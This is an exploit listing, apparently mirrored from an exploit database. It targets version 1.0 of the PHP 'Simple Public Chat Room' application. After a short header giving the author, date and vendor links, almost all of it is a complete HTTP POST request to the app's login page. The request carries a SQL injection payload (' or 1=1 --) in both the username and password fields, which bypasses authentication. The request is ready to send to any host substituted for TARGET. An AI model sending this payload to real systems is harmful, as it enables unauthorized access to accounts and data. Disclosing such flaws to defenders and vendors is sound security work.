Share
## https://sploitus.com/exploit?id=PACKETSTORM:161122
# Exploit Title: Simple Public Chat Room | Authentication Bypass Sqli  
# Exploit Author: Richard Jones  
# Date: 2021-01-26  
# Vendor Homepage: https://www.sourcecodester.com/php/12295/simple-public-chat-room-using-php.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=12295&title=Simple+Public+Chat+Room+Using+PHP%2FMySQLi+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
POST /chat/login.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 51  
Connection: close  
Referer: http://localhost/chat/index.php?attempt=  
Cookie: PHPSESSID=r2focevhk11aqka051gt26qfhl  
Upgrade-Insecure-Requests: 1  
  
username=aa%27+or+1%3D1+--&password=%27+or+1%3D1+--